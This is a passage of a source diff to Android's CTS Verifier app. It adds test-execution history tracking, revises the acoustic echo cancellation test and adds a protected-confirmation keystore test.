-            String testDetails, ReportLog reportLog) {
+            String testDetails, ReportLog reportLog, TestResultHistoryCollection historyCollection) {
         Intent data = new Intent(activity, activity.getClass());
-        addResultData(data, testResult, testName, testDetails, reportLog);
+        addResultData(data, testResult, testName, testDetails, reportLog, historyCollection);
         return data;
     }
 
     public static void addResultData(Intent intent, int testResult, String testName,
-            String testDetails, ReportLog reportLog) {
+            String testDetails, ReportLog reportLog, TestResultHistoryCollection historyCollection) {
         intent.putExtra(TEST_NAME, testName);
         intent.putExtra(TEST_RESULT, testResult);
         intent.putExtra(TEST_DETAILS, testDetails);
         intent.putExtra(TEST_METRICS, reportLog);
+        intent.putExtra(TEST_HISTORY_COLLECTION, historyCollection);
     }
 
     /**
@@ -92,15 +110,20 @@
         int result = data.getIntExtra(TEST_RESULT, TEST_RESULT_NOT_EXECUTED);
         String details = data.getStringExtra(TEST_DETAILS);
         ReportLog reportLog = (ReportLog) data.getSerializableExtra(TEST_METRICS);
-        return new TestResult(name, result, details, reportLog);
+        TestResultHistoryCollection historyCollection =
+            (TestResultHistoryCollection) data.getSerializableExtra(TEST_HISTORY_COLLECTION);
+        return new TestResult(name, result, details, reportLog, historyCollection);
     }
 
     private TestResult(
-            String name, int result, String details, ReportLog reportLog) {
+            String name, int result, String details, ReportLog reportLog,
+            TestResultHistoryCollection historyCollection) {
         this.mName = name;
         this.mResult = result;
         this.mDetails = details;
         this.mReportLog = reportLog;
+        this.mHistoryCollection =
+            historyCollection == null ? new TestResultHistoryCollection() : historyCollection;
     }
 
     /** Return the name of the test like "com.android.cts.verifier.foo.FooTest" */
@@ -122,4 +145,9 @@
     public ReportLog getReportLog() {
         return mReportLog;
     }
+
+    /** @return the {@link TestResultHistoryCollection} containing test history */
+    public TestResultHistoryCollection getHistoryCollection() {
+        return mHistoryCollection;
+    }
 }
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/TestResultHistoryCollection.java b/apps/CtsVerifier/src/com/android/cts/verifier/TestResultHistoryCollection.java
new file mode 100644
index 0000000..0e7160c
--- /dev/null
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/TestResultHistoryCollection.java
@@ -0,0 +1,81 @@
+package com.android.cts.verifier;
+
+import com.android.compatibility.common.util.TestResultHistory;
+
+import java.io.Serializable;
+import java.util.AbstractMap;
+import java.util.HashSet;
+import java.util.List;
+import java.util.Map;
+import java.util.Set;
+
+public class TestResultHistoryCollection implements Serializable {
+
+    private final Set<TestResultHistory> mHistoryCollection = new HashSet<>();
+
+    /**
+     * Covert object to set.
+     *
+     * @return A set of test result history.
+     */
+    public Set<TestResultHistory> asSet() {
+        return mHistoryCollection;
+    }
+
+    /**
+     * Add a test result history with test name, start time and end time.
+     *
+     * @param test a string of test name.
+     * @param start start time of a test.
+     * @param end end time of a test.
+     */
+    public void add(String test, long start, long end) {
+        Set<Map.Entry> duration = new HashSet<>();
+        duration.add(new AbstractMap.SimpleEntry<>(start, end));
+        mHistoryCollection.add(new TestResultHistory(test, duration));
+    }
+
+    /**
+     * Add test result histories for tests containing test name and a set of execution time.
+     *
+     * @param test test name.
+     * @param durations set of start and end time.
+     */
+    public void addAll(String test, Set<Map.Entry> durations) {
+        TestResultHistory history = new TestResultHistory(test, durations);
+        boolean match = false;
+        for (TestResultHistory resultHistory: mHistoryCollection) {
+            if (resultHistory.getTestName().equals(test)) {
+                resultHistory.getDurations().addAll(durations);
+                match = true;
+                break;
+            }
+        }
+        if (match == false) {
+            mHistoryCollection.add(history);
+        }
+    }
+
+    /**
+     * Merge test with its sub-tests result histories.
+     *
+     * @param prefix optional test name prefix to apply.
+     * @param resultHistoryCollection a set of test result histories.
+     */
+    public void merge(String prefix, TestResultHistoryCollection resultHistoryCollection) {
+       if (resultHistoryCollection != null) {
+            resultHistoryCollection.asSet().forEach(t-> addAll(
+                prefix != null ? prefix + ":" + t.getTestName() : t.getTestName(), t.getDurations()));
+       }
+    }
+
+    /**
+     * Merge test with its sub-tests result histories.
+     *
+     * @param prefix optional test name prefix to apply.
+     * @param resultHistories a list of test result history collection.
+     */
+    public void merge(String prefix, List<TestResultHistoryCollection> resultHistories) {
+        resultHistories.forEach(resultHistoryCollection -> merge(prefix, resultHistoryCollection));
+    }
+}
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/TestResultsProvider.java b/apps/CtsVerifier/src/com/android/cts/verifier/TestResultsProvider.java
index a2ef71d..4bbb12b 100644
--- a/apps/CtsVerifier/src/com/android/cts/verifier/TestResultsProvider.java
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/TestResultsProvider.java
@@ -59,6 +59,8 @@
     static final String COLUMN_TEST_DETAILS = "testdetails";
     /** ReportLog containing the test result metrics. */
     static final String COLUMN_TEST_METRICS = "testmetrics";
+    /** TestResultHistory containing the test run histories. */
+    static final String COLUMN_TEST_RESULT_HISTORY = "testresulthistory";
 
     /**
      * Report saved location
@@ -102,12 +104,13 @@
     }
 
     static void setTestResult(Context context, String testName, int testResult,
-                              String testDetails, ReportLog reportLog) {
+        String testDetails, ReportLog reportLog, TestResultHistoryCollection historyCollection) {
         ContentValues values = new ContentValues(2);
         values.put(TestResultsProvider.COLUMN_TEST_RESULT, testResult);
         values.put(TestResultsProvider.COLUMN_TEST_NAME, testName);
         values.put(TestResultsProvider.COLUMN_TEST_DETAILS, testDetails);
         values.put(TestResultsProvider.COLUMN_TEST_METRICS, serialize(reportLog));
+        values.put(TestResultsProvider.COLUMN_TEST_RESULT_HISTORY, serialize(historyCollection));
 
         final Uri uri = getResultContentUri(context);
         ContentResolver resolver = context.getContentResolver();
@@ -400,7 +403,8 @@
                     + COLUMN_TEST_RESULT + " INTEGER,"
                     + COLUMN_TEST_INFO_SEEN + " INTEGER DEFAULT 0,"
                     + COLUMN_TEST_DETAILS + " TEXT,"
-                    + COLUMN_TEST_METRICS + " BLOB);");
+                    + COLUMN_TEST_METRICS + " BLOB,"
+                    + COLUMN_TEST_RESULT_HISTORY + " BLOB);");
         }
 
         @Override
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/TestResultsReport.java b/apps/CtsVerifier/src/com/android/cts/verifier/TestResultsReport.java
index 7d3026a..a32b842 100644
--- a/apps/CtsVerifier/src/com/android/cts/verifier/TestResultsReport.java
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/TestResultsReport.java
@@ -29,6 +29,7 @@
 import com.android.compatibility.common.util.ITestResult;
 import com.android.compatibility.common.util.MetricsXmlSerializer;
 import com.android.compatibility.common.util.ReportLog;
+import com.android.compatibility.common.util.TestResultHistory;
 import com.android.compatibility.common.util.TestStatus;
 import com.android.cts.verifier.TestListAdapter.TestListItem;
 
@@ -38,9 +39,16 @@
 import java.io.IOException;
 import java.text.DateFormat;
 import java.text.SimpleDateFormat;
+import java.util.Arrays;
+import java.util.ArrayList;
 import java.util.Date;
+import java.util.HashMap;
+import java.util.HashSet;
+import java.util.List;
 import java.util.Locale;
+import java.util.Map;
 import java.util.Map.Entry;
+import java.util.Set;
 
 /**
  * Helper class for creating an {@code InvocationResult} for CTS result generation.
@@ -129,12 +137,34 @@
                 }
                 currentTestResult.setResultStatus(resultStatus);
                 // TODO: report test details with Extended Device Info (EDI) or CTS metrics
-                // String details = mAdapter.getTestDetails(i);
+                String details = mAdapter.getTestDetails(i);
+                currentTestResult.setMessage(details);
 
                 ReportLog reportLog = mAdapter.getReportLog(i);
                 if (reportLog != null) {
                     currentTestResult.setReportLog(reportLog);
                 }
+
+                TestResultHistoryCollection historyCollection = mAdapter.getHistoryCollection(i);
+                if (historyCollection != null) {
+                    // Get non-terminal prefixes.
+                    Set<String> prefixes = new HashSet<>();
+                    for (TestResultHistory history: historyCollection.asSet()) {
+                        Arrays.stream(history.getTestName().split(":")).reduce(
+                            (total, current) -> { prefixes.add(total);
+                            return total + ":" + current;
+                        });
+                    }
+
+                    // Filter out non-leaf test histories.
+                    List<TestResultHistory> leafTestHistories = new ArrayList<TestResultHistory>();
+                    for (TestResultHistory history: historyCollection.asSet()) {
+                        if (!prefixes.contains(history.getTestName())) {
+                            leafTestHistories.add(history);
+                        }
+                    }
+                    currentTestResult.setTestResultHistories(leafTestHistories);
+                }
             }
         }
         moduleResult.setDone(true);
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/audio/AudioAEC.java b/apps/CtsVerifier/src/com/android/cts/verifier/audio/AudioAEC.java
index 636dc2b..24e273c 100644
--- a/apps/CtsVerifier/src/com/android/cts/verifier/audio/AudioAEC.java
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/audio/AudioAEC.java
@@ -16,6 +16,7 @@
 
 package com.android.cts.verifier.audio;
 
+import android.content.Context;
 import android.media.*;
 import android.media.audiofx.AcousticEchoCanceler;
 import android.os.Bundle;
@@ -61,8 +62,10 @@
     private final int CORRELATION_DURATION_MS = TEST_DURATION_MS - 3000;
     private final int SHOT_COUNT_CORRELATION = CORRELATION_DURATION_MS/SHOT_FREQUENCY_MS;
     private final int SHOT_COUNT = TEST_DURATION_MS/SHOT_FREQUENCY_MS;
+    private final float MIN_RMS_DB = -60.0f; //dB
+    private final float MIN_RMS_VAL = (float)Math.pow(10,(MIN_RMS_DB/20));
 
-    private final double TEST_THRESHOLD_AEC_ON = 0.4; //From SoloTester
+    private final double TEST_THRESHOLD_AEC_ON = 0.5;
     private final double TEST_THRESHOLD_AEC_OFF = 0.6;
     private RmsHelper mRMSRecorder1 = new RmsHelper(mBlockSizeSamples, SHOT_COUNT);
     private RmsHelper mRMSRecorder2 = new RmsHelper(mBlockSizeSamples, SHOT_COUNT);
@@ -131,6 +134,9 @@
                         count++;
                     }
                     float rms = count > 0 ? (float)Math.sqrt(rmsTempSum / count) : 0f;
+                    if (rms < MIN_RMS_VAL) {
+                        rms = MIN_RMS_VAL;
+                    }
 
                     double alpha = 0.9;
                     double total_rms = rms * alpha + mRmsCurrent * (1.0f - alpha);
@@ -162,9 +168,10 @@
             DspBufferDouble crossCorr = new DspBufferDouble(actualLen);
 
             for (int i = firstShot, index = 0; i <= lastShot; ++i, ++index) {
-                double valPlayerdB = Math.max(20 * Math.log10(buffRmsPlayer.mData[i]), -120);
+                double valPlayerdB = Math.max(20 * Math.log10(buffRmsPlayer.mData[i]), MIN_RMS_DB);
                 rmsPlayerdB.setValue(index, valPlayerdB);
-                double valRecorderdB = Math.max(20 * Math.log10(buffRmsRecorder.mData[i]), -120);
+                double valRecorderdB = Math.max(20 * Math.log10(buffRmsRecorder.mData[i]),
+                        MIN_RMS_DB);
                 rmsRecorderdB.setValue(index, valRecorderdB);
             }
 
@@ -288,20 +295,37 @@
                     return;
                 }
 
-                int playbackStreamType = AudioManager.STREAM_MUSIC;
+                 //Step 0. Prepare system
+                AudioManager am = (AudioManager) getSystemService(Context.AUDIO_SERVICE);
+                int targetMode = AudioManager.MODE_IN_COMMUNICATION;
+                int originalMode = am.getMode();
+                am.setMode(targetMode);
+
+                if (am.getMode() != targetMode) {
+                    sendMessage(AudioTestRunner.TEST_ENDED_ERROR,
+                            "Couldn't set mode to MODE_IN_COMMUNICATION.");
+                    return;
+                }
+
+                int playbackStreamType = AudioManager.STREAM_VOICE_CALL;
                 int maxLevel = getMaxLevelForStream(playbackStreamType);
                 int desiredLevel = maxLevel - 1;
                 setLevelForStream(playbackStreamType, desiredLevel);
 
                 int currentLevel = getLevelForStream(playbackStreamType);
                 if (currentLevel != desiredLevel) {
+                    am.setMode(originalMode);
                     sendMessage(AudioTestRunner.TEST_ENDED_ERROR,
-                            "Couldn't set level for STREAM_MUSIC. Expected " +
+                            "Couldn't set level for STREAM_VOICE_CALL. Expected " +
                                     desiredLevel +" got: " + currentLevel);
                     return;
                 }
 
+                boolean originalSpeakerPhone = am.isSpeakerphoneOn();
+                am.setSpeakerphoneOn(true);
+
                 //Step 1. With AEC (on by Default when using VOICE_COMMUNICATION audio source).
+                mSPlayer.setStreamType(playbackStreamType);
                 mSPlayer.setSoundWithResId(getApplicationContext(), R.raw.speech);
                 mSRecorder.startRecording();
 
@@ -316,16 +340,20 @@
                 } catch (Exception e) {
                     mSRecorder.stopRecording();
                     String msg = "Could not create AEC Effect. " + e.toString();
-                    sendMessage(AudioTestRunner.TEST_ENDED_ERROR, msg);
                     recordTestResults(mMandatory, 0, 0, msg);
+                    am.setSpeakerphoneOn(originalSpeakerPhone);
+                    am.setMode(originalMode);
+                    sendMessage(AudioTestRunner.TEST_ENDED_ERROR, msg);
                     return;
                 }
 
                 if (mAec == null) {
                     mSRecorder.stopRecording();
                     String msg = "Could not create AEC Effect (AEC Null)";
-                    sendMessage(AudioTestRunner.TEST_ENDED_ERROR, msg);
                     recordTestResults(mMandatory,0, 0, msg);
+                    am.setSpeakerphoneOn(originalSpeakerPhone);
+                    am.setMode(originalMode);
+                    sendMessage(AudioTestRunner.TEST_ENDED_ERROR, msg);
                     return;
                 }
 
@@ -333,8 +361,10 @@
                     String msg = "AEC is not enabled by default.";
                     if (mMandatory) {
                         mSRecorder.stopRecording();
-                        sendMessage(AudioTestRunner.TEST_ENDED_ERROR, msg);
                         recordTestResults(mMandatory,0, 0, msg);
+                        am.setSpeakerphoneOn(originalSpeakerPhone);
+                        am.setMode(originalMode);
+                        sendMessage(AudioTestRunner.TEST_ENDED_ERROR, msg);
                         return;
                     } else {
                         sb.append("Warning. " + msg + "\n");
@@ -358,9 +388,9 @@
                                     20 * Math.log10(mRMSPlayer1.getRmsCurrent())));
                 }
 
-                mSPlayer.play(false);
                 mRMSPlayer1.setRunning(false);
                 mRMSRecorder1.setRunning(false);
+                mSPlayer.play(false);
 
                 int lastShot = SHOT_COUNT - 1;
                 int firstShot = SHOT_COUNT - SHOT_COUNT_CORRELATION;
@@ -397,10 +427,13 @@
                                     20 * Math.log10(mRMSPlayer2.getRmsCurrent())));
                 }
 
-                mSRecorder.stopRecording();
-                mSPlayer.play(false);
                 mRMSPlayer2.setRunning(false);
                 mRMSRecorder2.setRunning(false);
+                mSRecorder.stopRecording();
+                mSPlayer.play(false);
+
+                am.setSpeakerphoneOn(originalSpeakerPhone);
+                am.setMode(originalMode);
 
                 double maxNoAEC = computeAcousticCouplingFactor(mRMSPlayer2.getRmsSnapshots(),
                         mRMSRecorder2.getRmsSnapshots(), firstShot, lastShot);
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/audio/HifiUltrasoundSpeakerTestActivity.java b/apps/CtsVerifier/src/com/android/cts/verifier/audio/HifiUltrasoundSpeakerTestActivity.java
index 87618b1..01802a4 100644
--- a/apps/CtsVerifier/src/com/android/cts/verifier/audio/HifiUltrasoundSpeakerTestActivity.java
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/audio/HifiUltrasoundSpeakerTestActivity.java
@@ -280,9 +280,9 @@
             Arrays.asList(powerWrap),
             "");
         LineAndPointFormatter seriesFormat = new LineAndPointFormatter();
+        seriesFormat.setPointLabelFormatter(new PointLabelFormatter());
         seriesFormat.configure(getApplicationContext(),
             R.xml.ultrasound_line_formatter_trials);
-        seriesFormat.setPointLabelFormatter(new PointLabelFormatter());
         plot.addSeries(series, seriesFormat);
       }
 
@@ -297,9 +297,9 @@
           Arrays.asList(noiseDBWrap),
           "background noise");
       LineAndPointFormatter noiseSeriesFormat = new LineAndPointFormatter();
+      noiseSeriesFormat.setPointLabelFormatter(new PointLabelFormatter());
       noiseSeriesFormat.configure(getApplicationContext(),
           R.xml.ultrasound_line_formatter_noise);
-      noiseSeriesFormat.setPointLabelFormatter(new PointLabelFormatter());
       plot.addSeries(noiseSeries, noiseSeriesFormat);
 
       double[] dB = wavAnalyzerTask.getDB();
@@ -313,9 +313,9 @@
           Arrays.asList(dBWrap),
           "median");
       LineAndPointFormatter seriesFormat = new LineAndPointFormatter();
+      seriesFormat.setPointLabelFormatter(new PointLabelFormatter());
       seriesFormat.configure(getApplicationContext(),
           R.xml.ultrasound_line_formatter_median);
-      seriesFormat.setPointLabelFormatter(new PointLabelFormatter());
       plot.addSeries(series, seriesFormat);
 
       Double[] passX = new Double[] {Common.MIN_FREQUENCY_HZ, Common.MAX_FREQUENCY_HZ};
@@ -323,9 +323,9 @@
       XYSeries passSeries = new SimpleXYSeries(
           Arrays.asList(passX), Arrays.asList(passY), "passing");
       LineAndPointFormatter passSeriesFormat = new LineAndPointFormatter();
+      passSeriesFormat.setPointLabelFormatter(new PointLabelFormatter());
       passSeriesFormat.configure(getApplicationContext(),
           R.xml.ultrasound_line_formatter_pass);
-      passSeriesFormat.setPointLabelFormatter(new PointLabelFormatter());
       plot.addSeries(passSeries, passSeriesFormat);
     }
   }
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/biometrics/BiometricTest.java b/apps/CtsVerifier/src/com/android/cts/verifier/biometrics/BiometricTest.java
index 26597c3..3298e84 100644
--- a/apps/CtsVerifier/src/com/android/cts/verifier/biometrics/BiometricTest.java
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/biometrics/BiometricTest.java
@@ -234,6 +234,9 @@
         } else if (testType == TEST_AUTHENTICATE) {
             if (result == BiometricManager.BIOMETRIC_SUCCESS) {
                 showBiometricPrompt(false /* allowCredential */);
+            } else if (result == BiometricManager.BIOMETRIC_ERROR_NO_HARDWARE) {
+                showToastAndLog("No biometric features, test passed.");
+                getPassButton().setEnabled(true);
             } else {
                 showToastAndLog("Error: " + result +
                         " Please ensure at least one biometric is enrolled and try again");
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/managedprovisioning/ByodFlowTestActivity.java b/apps/CtsVerifier/src/com/android/cts/verifier/managedprovisioning/ByodFlowTestActivity.java
index cef8ae3..b13e3aa 100644
--- a/apps/CtsVerifier/src/com/android/cts/verifier/managedprovisioning/ByodFlowTestActivity.java
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/managedprovisioning/ByodFlowTestActivity.java
@@ -747,6 +747,8 @@
 
     private void queryProfileOwner(boolean showToast) {
         try {
+            // Set execution start time for counting test execution time.
+            mStartTime = System.currentTimeMillis();
             Intent intent = new Intent(ByodHelperActivity.ACTION_QUERY_PROFILE_OWNER);
             startActivityForResult(intent, REQUEST_PROFILE_OWNER_STATUS);
         }
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/managedprovisioning/DeviceOwnerPositiveTestActivity.java b/apps/CtsVerifier/src/com/android/cts/verifier/managedprovisioning/DeviceOwnerPositiveTestActivity.java
index 93bb6a5..d3f4889 100644
--- a/apps/CtsVerifier/src/com/android/cts/verifier/managedprovisioning/DeviceOwnerPositiveTestActivity.java
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/managedprovisioning/DeviceOwnerPositiveTestActivity.java
@@ -495,6 +495,8 @@
     }
 
     private Intent createCreateManagedUserIntent() {
+        // Set execution start time for counting test execution time.
+        mStartTime = System.currentTimeMillis();
         return new Intent(this, CommandReceiverActivity.class)
                 .putExtra(CommandReceiverActivity.EXTRA_COMMAND,
                         CommandReceiverActivity.COMMAND_CREATE_MANAGED_USER);
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/managedprovisioning/RecentsRedactionActivity.java b/apps/CtsVerifier/src/com/android/cts/verifier/managedprovisioning/RecentsRedactionActivity.java
index cce6df0..189248d 100644
--- a/apps/CtsVerifier/src/com/android/cts/verifier/managedprovisioning/RecentsRedactionActivity.java
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/managedprovisioning/RecentsRedactionActivity.java
@@ -68,7 +68,7 @@
                 throw new IllegalArgumentException("Unknown id: " + target.getId());
         }
         Intent resultIntent = TestResult.createResult(RecentsRedactionActivity.this, resultCode,
-                getTestId(), getTestDetails(), getReportLog());
+                getTestId(), getTestDetails(), getReportLog(), getHistoryCollection());
 
         new ByodFlowTestHelper(this).sendResultToPrimary(resultIntent);
         finish();
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/managedprovisioning/TurnOffWorkActivity.java b/apps/CtsVerifier/src/com/android/cts/verifier/managedprovisioning/TurnOffWorkActivity.java
index c0a1626..ef2d798 100644
--- a/apps/CtsVerifier/src/com/android/cts/verifier/managedprovisioning/TurnOffWorkActivity.java
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/managedprovisioning/TurnOffWorkActivity.java
@@ -65,10 +65,15 @@
     protected void onCreate(Bundle savedInstanceState) {
         super.onCreate(savedInstanceState);
 
+        // Set execution start time when start this activity for counting test execution time.
+        mStartTime = System.currentTimeMillis();
         mPrepareTestButton.setText(R.string.provisioning_byod_turn_off_work_prepare_button);
         mPrepareTestButton.setOnClickListener(new OnClickListener() {
             @Override
             public void onClick(View v) {
+                // Set execution start time when users start to turn/off work profile for counting
+                // test execution time.
+                mStartTime = System.currentTimeMillis();
                 try {
                     startActivity(new Intent(Settings.ACTION_SYNC_SETTINGS));
                 } catch (ActivityNotFoundException e) {
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/notifications/NotificationListenerVerifierActivity.java b/apps/CtsVerifier/src/com/android/cts/verifier/notifications/NotificationListenerVerifierActivity.java
index 2a37b5e..7297dbe 100644
--- a/apps/CtsVerifier/src/com/android/cts/verifier/notifications/NotificationListenerVerifierActivity.java
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/notifications/NotificationListenerVerifierActivity.java
@@ -42,6 +42,7 @@
 import android.content.Context;
 import android.content.Intent;
 import android.content.SharedPreferences;
+import android.content.pm.PackageManager;
 import android.os.Bundle;
 import android.provider.Settings;
 import android.provider.Settings.Secure;
@@ -128,8 +129,10 @@
             tests.add(new EnableHintsTest());
             tests.add(new ReceiveAppBlockNoticeTest());
             tests.add(new ReceiveAppUnblockNoticeTest());
-            tests.add(new ReceiveChannelBlockNoticeTest());
-            tests.add(new ReceiveGroupBlockNoticeTest());
+            if (!getPackageManager().hasSystemFeature(PackageManager.FEATURE_AUTOMOTIVE)) {
+                tests.add(new ReceiveChannelBlockNoticeTest());
+                tests.add(new ReceiveGroupBlockNoticeTest());
+            }
             tests.add(new RequestUnbindTest());
             tests.add(new RequestBindTest());
             tests.add(new MessageBundleTest());
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/security/ProtectedConfirmationTest.java b/apps/CtsVerifier/src/com/android/cts/verifier/security/ProtectedConfirmationTest.java
new file mode 100644
index 0000000..8fb9e67
--- /dev/null
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/security/ProtectedConfirmationTest.java
@@ -0,0 +1,250 @@
+/*
+ * Copyright (C) 2019 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License
+ */
+
+package com.android.cts.verifier.security;
+
+import android.content.pm.PackageManager;
+import android.icu.util.Calendar;
+import android.os.Bundle;
+import android.security.ConfirmationAlreadyPresentingException;
+import android.security.ConfirmationCallback;
+import android.security.ConfirmationNotAvailableException;
+import android.security.ConfirmationPrompt;
+import android.security.keystore.KeyGenParameterSpec;
+import android.security.keystore.KeyProperties;
+import android.view.View;
+import android.view.View.OnClickListener;
+import android.widget.Button;
+import android.widget.Toast;
+
+import com.android.cts.verifier.PassFailButtons;
+import com.android.cts.verifier.R;
+
+import java.io.IOException;
+import java.security.InvalidAlgorithmParameterException;
+import java.security.InvalidKeyException;
+import java.security.KeyPairGenerator;
+import java.security.KeyStore;
+import java.security.KeyStoreException;
+import java.security.NoSuchAlgorithmException;
+import java.security.NoSuchProviderException;
+import java.security.Signature;
+import java.security.SignatureException;
+import java.security.UnrecoverableEntryException;
+import java.security.cert.CertificateException;
+import java.util.Date;
+
+public class ProtectedConfirmationTest extends PassFailButtons.Activity {
+
+    /**
+     * Alias for our key in the Android Key Store.
+     */
+    private static final String KEY_NAME = "my_confirmation_key";
+    private boolean teeTestSuccess = false;
+    private boolean strongboxTestSuccess = false;
+
+    @Override
+    protected void onCreate(Bundle savedInstanceState) {
+        super.onCreate(savedInstanceState);
+        setContentView(R.layout.sec_protected_confirmation_main);
+        setPassFailButtonClickListeners();
+
+        boolean protectedConfirmationSupported =
+                ConfirmationPrompt.isSupported(getApplicationContext());
+        if (protectedConfirmationSupported) {
+            setInfoResources(R.string.sec_protected_confirmation_test,
+                    R.string.sec_protected_confirmation_test_info, -1);
+            getPassButton().setEnabled(false);
+        } else {
+            setInfoResources(R.string.sec_protected_confirmation_not_supported_title,
+                    R.string.sec_protected_confirmation_not_supported_info, -1);
+            getPassButton().setEnabled(true);
+            return;
+        }
+        boolean hasStrongbox = this.getPackageManager()
+                .hasSystemFeature(PackageManager.FEATURE_STRONGBOX_KEYSTORE);
+
+        findViewById(R.id.sec_protected_confirmation_tee_test_success)
+                .setVisibility(View.INVISIBLE);
+        findViewById(R.id.sec_protected_confirmation_strongbox_test_success)
+                .setVisibility(View.INVISIBLE);
+        Button startTestButton = (Button) findViewById(R.id.sec_start_test_button);
+        startTestButton.setOnClickListener(new OnClickListener() {
+            @Override
+            public void onClick(View v) {
+                showToast("Test running...");
+                v.post(new Runnable() {
+                    @Override
+                    public void run() {
+                        runTest(false /* useStrongbox */);
+                    }
+                });
+            }
+
+        });
+
+        Button startStrongboxTestButton =
+                (Button) findViewById(R.id.sec_start_test_strongbox_button);
+        if (hasStrongbox) {
+            startStrongboxTestButton.setOnClickListener(new OnClickListener() {
+                @Override
+                public void onClick(View v) {
+                    showToast("Test running...");
+                    v.post(new Runnable() {
+                        @Override
+                        public void run() {
+                            runTest(true /* useStrongbox */);
+                        }
+                    });
+                }
+
+            });
+        } else {
+            startStrongboxTestButton.setVisibility(View.GONE);
+            // since strongbox is unavailable we mark the strongbox test as passed so that the tee
+            // test alone can make the test pass.
+            strongboxTestSuccess = true;
+        }
+
+    }
+
+    /**
+     * Creates an asymmetric signing key in AndroidKeyStore which can only be used for signing
+     * user confirmed messages.
+     */
+    private void createKey(boolean useStrongbox) {
+        Calendar calendar = Calendar.getInstance();
+        Date validityStart = calendar.getTime();
+        calendar.add(Calendar.YEAR, 1);
+        Date validityEnd = calendar.getTime();
+        try {
+            KeyPairGenerator kpg = KeyPairGenerator.getInstance(
+                    KeyProperties.KEY_ALGORITHM_EC, "AndroidKeyStore");
+            KeyGenParameterSpec.Builder builder = new KeyGenParameterSpec.Builder(
+                    KEY_NAME,
+                    KeyProperties.PURPOSE_SIGN | KeyProperties.PURPOSE_VERIFY);
+            builder.setDigests(KeyProperties.DIGEST_SHA256, KeyProperties.DIGEST_SHA512);
+            builder.setAttestationChallenge("CtsVerifierTest".getBytes());
+            builder.setUserConfirmationRequired(true);
+            builder.setIsStrongBoxBacked(useStrongbox);
+            builder.setKeyValidityStart(validityStart);
+            builder.setKeyValidityEnd(validityEnd);
+            kpg.initialize(builder.build());
+            kpg.generateKeyPair();
+        } catch (NoSuchAlgorithmException | NoSuchProviderException |
+                 InvalidAlgorithmParameterException e) {
+            throw new RuntimeException("Failed to create confirmation key", e);
+        }
+    }
+
+    private boolean trySign(byte[] dataThatWasConfirmed) {
+        try {
+            KeyStore keyStore = KeyStore.getInstance("AndroidKeyStore");
+            keyStore.load(null);
+            KeyStore.Entry key = keyStore.getEntry(KEY_NAME, null);
+            Signature s = Signature.getInstance("SHA256withECDSA");
+            s.initSign(((KeyStore.PrivateKeyEntry) key).getPrivateKey());
+            s.update(dataThatWasConfirmed);
+            s.sign();
+        } catch (CertificateException | KeyStoreException | IOException | NoSuchAlgorithmException |
+                UnrecoverableEntryException | InvalidKeyException e) {
+            throw new RuntimeException("Failed to load confirmation key", e);
+        } catch (SignatureException e) {
+            return false;
+        }
+        return true;
+    }
+
+    private void runTest(boolean useStrongbox) {
+        createKey(useStrongbox);
+        if (trySign(getString(R.string.sec_protected_confirmation_message)
+                .getBytes())) {
+            showToast("Test failed. Key could sign without confirmation.");
+        } else {
+            showConfirmationPrompt(
+                    getString(R.string.sec_protected_confirmation_message),
+                    useStrongbox);
+        }
+    }
+
+    private void showConfirmationPrompt(String confirmationMessage, boolean useStrongbox) {
+        ConfirmationPrompt.Builder builder = new ConfirmationPrompt.Builder(this);
+        builder.setPromptText(confirmationMessage);
+        builder.setExtraData(new byte[]{0x1, 0x02, 0x03});
+        ConfirmationPrompt prompt = builder.build();
+        try {
+            prompt.presentPrompt(getMainExecutor(),
+                    new ConfirmationCallback() {
+                        @Override
+                        public void onConfirmed(byte[] dataThatWasConfirmed) {
+                            super.onConfirmed(dataThatWasConfirmed);
+                            if (trySign(dataThatWasConfirmed)) {
+                                markTestSuccess(useStrongbox);
+                            } else {
+                                showToast("Failed to sign confirmed message");
+                            }
+                        }
+
+                        @Override
+                        public void onDismissed() {
+                            super.onDismissed();
+                            showToast("User dismissed the dialog.");
+                        }
+
+                        @Override
+                        public void onCanceled() {
+                            super.onCanceled();
+                            showToast("Confirmation dialog was canceled.");
+                        }
+
+                        @Override
+                        public void onError(Throwable e) {
+                            super.onError(e);
+                            throw new RuntimeException("Confirmation Callback encountered an error",
+                                                       e);
+                        }
+                    });
+        } catch (ConfirmationAlreadyPresentingException | ConfirmationNotAvailableException e) {
+            throw new RuntimeException("Error trying to present the confirmation prompt", e);
+        }
+    }
+
+    private void showToast(String message) {
+        Toast.makeText(this, message, Toast.LENGTH_LONG)
+                .show();
+    }
+
+    private void markTestSuccess(boolean strongbox) {
+        if (strongbox) {
+            if (!strongboxTestSuccess) {
+                findViewById(R.id.sec_protected_confirmation_strongbox_test_success)
+                        .setVisibility(View.VISIBLE);
+            }
+            strongboxTestSuccess = true;
+        } else {
+            if (!teeTestSuccess) {
+                findViewById(R.id.sec_protected_confirmation_tee_test_success)
